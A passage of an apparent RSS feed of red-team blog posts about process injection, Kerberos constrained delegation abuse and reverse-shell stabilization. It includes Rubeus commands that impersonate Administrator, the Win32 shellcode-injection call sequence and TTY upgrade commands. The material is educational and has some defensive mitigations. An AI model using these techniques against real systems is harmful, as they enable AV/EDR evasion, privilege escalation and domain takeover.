(PAGE_EXECUTE_READWRITE). The shellcode is going to be written into this allocated memory.</li><li>Using WriteProcessMemory, we write the shellcode into the allocated memory space within the target process.</li><li>Then we change the memory protection of the allocated memory from read/write to read/execute using VirtualProtectEx.</li><li>Then the remote thread is created in the target process using CreateRemoteThread. The thread is started at the address of the remoteBuffer where your shellcode is located.</li><li>After injecting the shellcode, the handle to the target process is closed using CloseHandle().</li></ol><p>We’ll see more process injection techniques in the upcoming blog series.</p><p>Thanks for Reading !!!</p><p>Stay connected! Happy Hacking!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79db7535fa27" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vault-infosec/classic-process-injection-79db7535fa27">Classic Process Injection</a> was originally published in <a href="https://medium.com/vault-infosec">Vault Infosec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Process Injection]]></title>
            <link>https://medium.com/vault-infosec/understanding-process-injection-c8a21dd6730e?source=rss-b81400141b10------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8a21dd6730e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team-methodology]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[0xmani]]></dc:creator>
            <pubDate>Tue, 26 Sep 2023 15:02:43 GMT</pubDate>
            <atom:updated>2023-10-04T08:46:31.665Z</atom:updated>
            <content:encoded><![CDATA[<h3>Process Injection:</h3><p>Process Injection is a technique used by Software developers for debugging, enhancing functionality, and extensibility. Process Injection is also used in the StealthOps/Red team Operations by the threat actor/attacks.</p><p>In a real-time scenario, the threat actor will try to inject the malicious code into the notepad.exe address space which has already been running, which helps him to avoid getting detected by AV/EDR or escalating privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TglcDzOx6o3xJy1-8ngAsQ.png" /><figcaption>Image Source: vanmieghem.io</figcaption></figure><h3>Why process Injection is Used:</h3><p>Process injection is used by a threat actor to inject their malicious code into the address space of a running process. It allows them to execute code within the context of a legitimate process, which makes the AV/EDR harder to detect and trace their activities. Below are the reasons to use process injection in the engagement,</p><ol><li><em>Security AV/EDR Evasion</em></li><li><em>Privilege Escalation</em></li><li><em>Persistence</em></li><li><em>Sandbox evasion</em></li><li><em>Credentials Stealing</em></li></ol><h3>How Process Injection Works:</h3><p>Process Injection can be done in two ways,</p><ol><li><em>Process Injection can be done in an already running process.</em></li><li><em>Spawning a new process and injecting it into the process.</em></li></ol><p>When performing process injection, we need to have the following queries,</p><ol><li><em>How can we access the remote thread?</em></li><li><em>How can we send our malicious code into the remote process?</em></li><li><em>How can we execute our malicious code which is inside the remote process?</em></li></ol><p>We can do process injection by two API methods,</p><ol><li><em>Win32 API</em></li><li><em>Windows NT API</em></li></ol><p>In this blog, we are going to explore the Win32 API only. To achieve process injection, several Windows API (WinAPI) calls are utilized. Let’s look into some of the general Win32 APIs used in Process Injection.</p><p><strong>CreateToolhelp32Snapshot</strong> — Used for Process and Thread Enumeration<br><strong>OpenProcess</strong> — This allows a process to open a handle to another process, which can be used to read, write, or manipulate the memory.<br><strong>CreateProcess</strong> — This allows to create a new process.<br><strong>EnumProcesses </strong>— This allows us to enumerate all running processes on a system.<br><strong>WriteProcessMemory</strong> — This allows a process to write data to the memory space of another process.<br><strong>CreateRemoteThread</strong> — This allows to create a remote thread within a target process.<br><strong>DuplicateHandle</strong> — It is used for duplicating handles within a process or between processes.<br><strong>VirtualAllocEx</strong> — Used to allocate memory within the address space of another process.<br><strong>VirtualProtectEx</strong> — It is used for memory protection and manipulation within a process’s address space.<br><strong>SetThreadContext</strong> — This allows us to modify the execution context of a thread.</p><h3>Simple ProcessEnumeration Code in C:</h3><p>The below code will list the process Name and the process ID running in the machine.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;tlhelp32.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main() {<br>    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br><br>    if (hSnapshot == INVALID_HANDLE_VALUE) {<br>        printf(&quot;Failed to create process snapshot.\n&quot;);<br>        return 1;<br>    }<br><br>    PROCESSENTRY32 pe32;<br>    pe32.dwSize = sizeof(PROCESSENTRY32);<br><br>    if (!Process32First(hSnapshot, &amp;pe32)) {<br>        printf(&quot;Process32First failed.\n&quot;);<br>        CloseHandle(hSnapshot);<br>        return 1;<br>    }<br><br>    do {<br>        printf(&quot;Process ID: %d\tProcess Name: %s\n&quot;, pe32.th32ProcessID, pe32.szExeFile);<br>    } while (Process32Next(hSnapshot, &amp;pe32));<br><br>    CloseHandle(hSnapshot);<br>    return 0;<br>}</pre><h4>Code Walkthrough:</h4><ol><li>The code starts by taking a “snapshot” of all the programs or processes that are currently running on a Windows computer.</li><li>Then it checks whether the snapshot was successfully taken.</li><li>Next, it prepares a structure (like a container) to hold information about a process.</li><li>It starts looking at the first process in the snapshot. This is the beginning of the list of running programs.</li><li>Next comes the loop. It starts looking at the first process, writes down some information about it (like a name and an ID), and then moves on to the next process.</li><li>Then it prints the process name and the ID.</li><li>After it writes down information about one process, it moves on to the next.</li><li>Then it closes the handle after finishing its job.</li></ol><p>We’ll see the process injection techniques in the upcoming blog series.</p><p>Thanks for Reading !!!</p><p>Happy Hacking!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8a21dd6730e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vault-infosec/understanding-process-injection-c8a21dd6730e">Understanding Process Injection</a> was originally published in <a href="https://medium.com/vault-infosec">Vault Infosec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking Constrained Delegation]]></title>
            <link>https://medium.com/vault-infosec/attacking-constrained-delegation-642d88151288?source=rss-b81400141b10------2</link>
            <guid isPermaLink="false">https://medium.com/p/642d88151288</guid>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[constraineddelegation]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[active-directory-attack]]></category>
            <dc:creator><![CDATA[0xmani]]></dc:creator>
            <pubDate>Sat, 28 Jan 2023 14:06:16 GMT</pubDate>
            <atom:updated>2023-10-04T08:46:13.939Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Kerberos Delegation</strong></p><p>Kerberos Delegation is a feature that allows the application to request end-user credentials to access resources on behalf of the user. For e.g: A user authenticates to a web server and the web server makes a request to the SQL server to access resources as a user (depending on the type of delegation).</p><p><strong>Types of Delegation</strong></p><p>There are three types of delegation,</p><p>1. Constrained Delegation</p><p>2. Unconstrained Delegation</p><p>3. Resource-based Constrained Delegation</p><p>In this blog, we’ll focus on Constrained Delegation.</p><p><strong>Constrained Delegation</strong></p><p>If the constrained delegation is enabled on the user or computer (machine) account, it is possible to impersonate any domain user and authenticate to a service that the user account is trusted to delegate to. Constrained entities can be abused if one of their delegation entries is sensitive.</p><ol><li>Service for User to Self (S4U2Self) — an extension that allows a service to obtain a forwardable TGT on behalf of a user with just the user’s principal name without supplying a<br>password. The service account must have the <em>TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION</em> attribute.</li><li>Service for User to Proxy (S4U2Proxy) — extension allows the service to obtain a TGS of a second service on behalf of a user. This second service is controlled by the <em>msDS-AllowedToDelegateTo</em> attribute. This attribute contains a list of SPNs to which the user’s ticket can be forwarded.</li></ol><p>Note: If a user is marked as ‘<em>Account is sensitive and cannot be delegated</em>’, you will not be able to impersonate them.</p><p><strong>Constrained Delegation — Authentication Flow:</strong></p><p>To understand the authentication flow, let’s use the example of a user authenticating to a Constrained delegated account like a web service account that only permits delegation to SQL services.</p><ol><li>A user John authenticates to the web service (web svc) using a non-Kerberos authentication mechanism.</li><li>The web service account requests a ticket from the KDC (Key Distribution Center) for John’s account without supplying a password as the web svc account.</li><li>KDC checks whether the web service account is allowed for delegation (<em>TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION</em> attribute) and whether the user is active or not blocked. If everything is verified accordingly, the KDC sends the TGT ticket to the web service (S4U2Self).</li></ol><blockquote>This step uses the Service for User To Self (S4U2self) extension that allows a service to obtain a forwardable TGT on behalf of a user.</blockquote><p>5. The web service passes the TGT back to KDC and requests a TGS (service ticket) for a SQL service.</p><p>6. The KDC checks the *msDS-AllowedToDelegateTo* field on the web svc account. If the service is listed, the KDC will grant the SQL TGS ticket (S4U2Proxy).</p><blockquote>This step uses the Service for User to Proxy (S4U2proxy) extension allows the service to obtain a TGS of a second service on behalf of a user.</blockquote><p>7. Once the web server gets the ticket, it will send it to the SQL server to request access to its data and retrieve the information needed for the user.</p><p>8. Once the KDC grants the TGS, the web server will use the ticket to access the resource in the SQL server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IXwy4VeprsPsUo-oWHU2ug.jpeg" /><figcaption>Figure 1: The web service account requests a forwardable TGT ticket from the KDC</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBb58jKwnF_TE07pH1auFQ.jpeg" /><figcaption>Figure 2: Web server receives Forwardable TGT and requests for TGS (SQL service)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yaPnLmAkh6d-KUHCEDX8QQ.jpeg" /><figcaption>Figure 3: Webserver accessing the SQL servers and retrieving the data back to the user</figcaption></figure><p><strong>Attack Requirement</strong></p><p>To abuse the constrained delegation, we need to have access to the web svc account. If we have access to that account, it is possible to access the services listed in <em>msDS-AllowedToDelegateTo</em> of the web svc account as any user.</p><p><strong>Attack Demo</strong></p><blockquote>This Post assumes that the attacker already has access to the delegated machine with admin privileges.</blockquote><p>To identify the constrained delegation user or machine accounts, we can look into the <em>msDS-AllowedToDelegateTo</em> attribute in the accounts details. These accounts can be enumerated with the <em>Powerview</em> script or <em>Active Directory Module</em>.</p><p>PowerView makes it very easy to find the constrained delegation user or computer accounts.</p><p><strong>Abusing User Account Configured with Constrained Delegation:</strong></p><p>To get Users that have Delegation Option enabled, we can use the below commands,</p><pre>Get-DomainUser -TrustedToAuth</pre><pre>Get-DomainComputer -TrustedToAuth</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNl67ULYf6bw10eQpX12Ng.png" /><figcaption>Figure 4: web_svc user has constrained delegation feature enabled for CIFS only.</figcaption></figure><p>We can also use the AD module to get the same result,</p><pre>Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne &quot;$null&quot;} -Properties msDS-AllowedToDelegateTo</pre><p>The above results show that two accounts allow delegation to specific services. One is a user account, “web svc” which enables the delegation to the CIFS services on the MSSQL server, and the other is a computer account, “dcorp-adminsrv” allowing the delegation for the Time service on the domain controller.</p><p>The first step is to request Forwardable TGTs from KDC for delegated accounts. We can use either Rubeus or Kekeo. For this post, we going to use Rubeus.</p><p>We can request the TGT ticket for the “web svc” user and “dcorp-adminsrv” account with which we can get access to the SPN Machine. We are requesting a TGT and TGS in a single command.</p><pre>.\Rubeus.exe s4u /ticket:TGT_Ticket /msdsspn:&quot;service/HOST&quot; /impersonateuser:Administrator /ptt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sRLTnAIUZhen7J5RS7-0LA.png" /><figcaption>Figure 5: It shows obtaining the TGT and TGS ticket for the DCORP-ADMINSRV$ account</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xuxxa2eb1pTBAoDmOs8YYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MrdAbxb-8jpwdIVmHRIWMQ.png" /><figcaption>Figure 6: Directory contents for the dcorp-mssql</figcaption></figure><p>As seen, we have the ticket and we have successfully listed the directories on the server with that ticket. We could also alternate the allowed services with other services and perform additional attacks like remotely dumping the machine’s credentials.</p><p><strong>Abusing Computer Account Configured with Constrained Delegation:</strong></p><p>To get computers that have Delegation Option enabled, we can use the below commands:</p><pre>Get-DomainComputer -TrustedToAuth</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZRB_hDVnIrW6t6DupGh65g.png" /><figcaption>Figure 7: DCORP-ADMINSRV$ user has a constrained delegation feature enabled for TIME.</figcaption></figure><p>The above result shows that “dcorp-adminsrv” allows the delegation for the Time service on the domain controller.</p><p>With Rubeus, we can request the TGT ticket for the current user with which we can get access over the SPN Machine. We are requesting a TGT and TGS in a single command.</p><pre>Rubeus.exe s4u /user:username /aes256:HASH /impersonateuser:Administrator<br>/msdsspn:&quot;service/HOST&quot; /altservice:ldap /ptt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ktkhw9bUcx1CK35cLE7E5Q.png" /><figcaption>Figure 8: It shows obtaining the TGT and TGS ticket for the DCORP-ADMINSRV$ account</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*sjtK5Uh5S3ta6WcO2i3J-A.png" /><figcaption>Figure 9: Directory contents of the dcorp-dc</figcaption></figure><p>As seen, we have the ticket and we have successfully listed the directories on the DC with that ticket.</p><p><strong>Mitigation</strong></p><ol><li>Disable Kerberos delegation where possible.</li><li>Limit DA/Admin logins to specific services.</li><li>Set “Account is sensitive and cannot be delegated” for privileged accounts.</li><li>Ensure the delegated accounts use strong passwords to protect them against attacks like Kerberoasting.</li></ol><p><strong>Thanks for reading! Happy Hacking !!!</strong></p><p><strong>Reference:</strong></p><ul><li><a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview">Kerberos Constrained Delegation Overview</a></li><li><a href="https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/">What Is Kerberos Delegation? An Overview of Kerberos Delegation</a></li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FCrghRCjojiU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DCrghRCjojiU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FCrghRCjojiU%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0452ce2dbb073ed7852508c40998134f/href">https://medium.com/media/0452ce2dbb073ed7852508c40998134f/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=642d88151288" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vault-infosec/attacking-constrained-delegation-642d88151288">Attacking Constrained Delegation</a> was originally published in <a href="https://medium.com/vault-infosec">Vault Infosec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stabilizing the Dump Shell]]></title>
            <link>https://0xmani.medium.com/stabilizing-the-dump-shell-a66a5d880b2d?source=rss-b81400141b10------2</link>
            <guid isPermaLink="false">https://medium.com/p/a66a5d880b2d</guid>
            <dc:creator><![CDATA[0xmani]]></dc:creator>
            <pubDate>Sat, 28 Jan 2023 09:43:11 GMT</pubDate>
            <atom:updated>2023-01-28T09:43:11.453Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello All, This is my first blog that explains how to stabilize the shell in Linux.</p><p>While playing CTF Challenges, it is often to spawn a reverse shell on the target machine. Other than the ssh shell, every shell is a dump which often kills the reverse shell and this shell doesn’t give you the proper shell functionalities like tab completion, “su” command, clearing the terminal, etc. Sometimes, pressing “ctrl+c” completely kills your reverse shell.</p><p>Shell Stabilization prevents you from killing your reverse shell and adds proper shell functionalities.</p><p>Note: This post assumes you already have a reverse shell on the target machine.</p><p>Commands to upgrade a TTY dump shells</p><p>Python3</p><pre>python3 -c &quot;import pty; pty.spawn(&#39;/bin/bash)&quot;<br>(or)<br>python -c &quot;import pty; pty.spawn(&#39;/bin/bash)&quot;</pre><p>Bash</p><pre>/usr/bin/script -qc /bin/bash /dev/null<br>(or)<br>/bin/sh -i</pre><p>Perl</p><pre>perl —e &#39;exec &quot;/bin/sh&quot;;&#39;<br>(or)<br>perl: exec &quot;/bin/sh&quot;;</pre><p>Ruby</p><pre>ruby: exec &quot;/bin/sh&quot;</pre><p>Lua</p><pre>lua: os.execute(&#39;/bin/sh&#39;)</pre><p>Then press ctrl+z to background the process.</p><p>Run the following command in the attacker machine,</p><p>Attacker Machine</p><pre>stty raw -echo<br>fg<br>ENTER<br>ENTER</pre><p>Run “stty raw -echo” and “fg” commands on the attacker machine, then click double ENTER. The reverse shell will be retrieved.</p><p>Victim Machine</p><pre>export TERM=xterm<br>stty cols 132 rows 34</pre><p>Set the terminal environment to the variable (e.g. xterm, xterm-256, etc)</p><p>All Done! Now you should have a stabilized bash shell that can tab complete, clear the screen, and use Ctrl+C.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a66a5d880b2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>